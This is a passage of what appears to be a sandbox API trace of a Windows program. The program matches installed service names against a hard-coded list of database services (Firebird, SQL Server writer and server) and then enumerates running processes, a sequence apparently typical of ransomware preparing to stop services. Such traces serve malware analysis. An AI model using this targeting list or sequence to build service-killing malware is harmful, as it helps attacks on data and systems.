(lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0129.245] lstrlenW (lpString="MpsSvc") returned 6 [0129.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.245] lstrlenW (lpString="NcbService") returned 10 [0129.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0129.245] lstrlenW (lpString="netprofm") returned 8 [0129.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0129.245] lstrlenW (lpString="NgcSvc") returned 6 [0129.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0129.245] lstrlenW (lpString="NlaSvc") returned 6 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0129.246] lstrlenW (lpString="nsi") returned 3 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.246] lstrlenW (lpString="PcaSvc") returned 6 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0129.246] lstrlenW (lpString="PlugPlay") returned 8 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.246] lstrlenW (lpString="Power") returned 5 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.246] lstrlenW (lpString="ProfSvc") returned 7 [0129.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.246] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.247] lstrlenW (lpString="RpcSs") returned 5 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.247] lstrlenW (lpString="SamSs") returned 5 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.247] lstrlenW (lpString="Schedule") returned 8 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.247] lstrlenW (lpString="SecurityHealthService") returned 21 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0129.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0129.247] lstrlenW (lpString="SENS") returned 4 [0129.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.248] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.248] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.248] lstrlenW (lpString="Spooler") returned 7 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.248] lstrlenW (lpString="StateRepository") returned 15 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0129.248] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0129.248] lstrlenW (lpString="SysMain") returned 7 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0129.248] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0129.248] lstrlenW (lpString="SystemEventsBroker") returned 18 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0129.248] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0129.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0129.248] lstrlenW (lpString="Themes") returned 6 [0129.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0129.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0129.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0129.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0129.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0129.249] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0129.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0129.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0129.249] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0129.249] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0129.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0129.249] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0129.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0129.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0129.249] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0129.249] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0129.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436e20 | out: hHeap=0x510000) returned 1 [0129.249] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0129.346] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.347] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.348] lstrlenW (lpString="System") returned 6 [0129.348] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.348] lstrlenW (lpString="smss.exe") returned 8 [0129.348] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.349] lstrlenW (lpString="csrss.exe") returned 9 [0129.349] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.350] lstrlenW (lpString="wininit.exe") returned 11 [0129.350] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.352] lstrlenW (lpString="csrss.exe") returned 9 [0129.352] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.353] lstrlenW (lpString="winlogon.exe") returned 12 [0129.353] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.354] lstrlenW (lpString="services.exe") returned 12 [0129.354] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.354] lstrlenW (lpString="lsass.exe") returned 9 [0129.354] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.355] lstrlenW (lpString="svchost.exe") returned 11 [0129.355] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.356] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.356] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.356] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.356] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.357] lstrlenW (lpString="svchost.exe") returned 11 [0129.357] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.358] lstrlenW (lpString="dwm.exe") returned 7 [0129.358] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.358] lstrlenW (lpString="svchost.exe") returned 11 [0129.358] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.359] lstrlenW (lpString="svchost.exe") returned 11 [0129.359] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.360] lstrlenW (lpString="svchost.exe") returned 11 [0129.360] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.360] lstrlenW (lpString="svchost.exe") returned 11 [0129.360] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.361] lstrlenW (lpString="svchost.exe") returned 11 [0129.361] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.362] lstrlenW (lpString="svchost.exe") returned 11 [0129.362] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.362] lstrlenW (lpString="svchost.exe") returned 11 [0129.362] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.363] lstrlenW (lpString="svchost.exe") returned 11 [0129.363] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.363] lstrlenW (lpString="svchost.exe") returned 11 [0129.363] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.364] lstrlenW (lpString="svchost.exe") returned 11 [0129.364] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.365] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.365] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.365] lstrlenW (lpString="svchost.exe") returned 11 [0129.365] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.366] lstrlenW (lpString="audiodg.exe") returned 11 [0129.366] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.367] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0129.367] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0129.367] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0129.367] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0129.368] lstrlenW (lpString="Memory Compression") returned 18 [0129.368] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.368] lstrlenW (lpString="sihost.exe") returned 10 [0129.369] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.369] lstrlenW (lpString="svchost.exe") returned 11 [0129.369] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.370] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.370] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0129.371] lstrlenW (lpString="msoia.exe") returned 9 [0129.371] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.371] lstrlenW (lpString="explorer.exe") returned 12 [0129.371] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.372] lstrlenW (lpString="SearchUI.exe") returned 12 [0129.372] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.373] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0129.373] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.373] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0129.373] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.374] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0129.374] Process32NextW (in: 